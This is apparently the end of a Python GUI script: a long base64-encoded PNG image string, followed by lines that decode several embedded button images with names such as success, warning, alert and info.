U1KvbcqkEIQAAAICZGJL3tuVSCUIAAAAAM3FmypVtuVSCEAAAAMAMlOSuq1LubONSCUIAAAAAM1CT29py6QQhAAAAgBkoye1tuXRrCULTJ7iSR6gBAAAAbJBb23Xp1hKE9iSH2xIAAACAHdsdhJ6ecvN0cUoIAAAA4O+t7ADNWoLQpSnHS3JdGwEAAAC6V5JDbbl067yp9N+0KwAAAED3eglCV7UrAAAAQPeGlJvacunWFoSKE0IAAAAAf2dX6vvbcukEIQAAAIA1Kyl3XJfh+jYu3dqC0E0pV5fktjYCAAAAdKyu9ODMGk8IlVqTv2ojAAAAQM/6CEILRRACAAAAWDSS97blSqw1CO1O/rItAQAAALq1O7miLVdizSeEyrvbEgAAAKBLJTn6uJSr2rgSaw1CN6R8cPqkD7YRAAAAoEdXXpZyrK1XYq1BqPG2MQAAAKBbJWXl91heexDalbyzLQEAAAB69K52XZm1B6FTkz9tSwAAAIDunJr6F225MmsPQgczHJr+EO9rIwAAAEA3SnLd1RluauPKrD0INU4JAQAAAN2pa3i72MIsgtD0h/iTtgQAAADoxu41HZKZRRA6I+XPpsvxnQkAAACgDycn72jLlZpFELoq5c6S4vHzAAAAQDdK8oF13D9oYS73EJr+IPUP2xIAAABg65U13lN5RkEob2lLAAAAgK03JG9vy5WbTRC6McM10x/mb9oIAAAAsLVKcnRfcnkbV242QWihJm9tSwAAAICtVVMuvyLDXW1cOUEIAAAAYMVK6h+15VrMKgjdkuHKklzTRgAAAICtdNqaD8XMKggtOCUEAAAAbLOSvHtdj5v/kNkFoZNTLmtLAAAAgK0zzOBJ67MLQten/PV08bQxAAAAYCsJQh9FSV7XlgAAAABboyRX3Jhh7fdPnmkQKr87XY7vTAAAAADboc7kVjmzDEKHU24pydvbCAAAALAN6pmpb2rrtZplEFrwtjEAAABgmwzJ5QczHGrjWs02CD0x5Q9LcmsbAQAAADbamLy+LddutkHospRj0+X/7kwAAAAAm6sktx+YwdPFPmS2QWhh+sP99vQFu6uNAAAAAJvqTVdkmE3jmHUQOpThVvcSAgAAADbd7uS1bTkLsw5CC3uSX58u484EAAAAsFlK8hc3Znh3G2dh9kHo+gzXTV+4N7QRAAAAYKMMyavacjZmH4QWdie/Ml2cEgIAAAA2SkkO3pTytjbOxkYEoRszXDNdfndnAgAAANgMQ8qrSkpt42xsRBBa2JO8croc35kAAAAA5q0k1z0zeWMbZ2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midnight= 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'
#img= base64.b64decode(butdef)
img1= base64.b64decode(success)
img2= base64.b64decode(warning)
img3= base64.b64decode(alert)
img4 =base64.b64decode(boring)
img5= base64.b64decode(violet_ver)
img6= base64.b64decode(pink)
img7= base64.b64decode(cyan)
img8= base64.b64decode(info)
img9= base64.b64decode(golden)
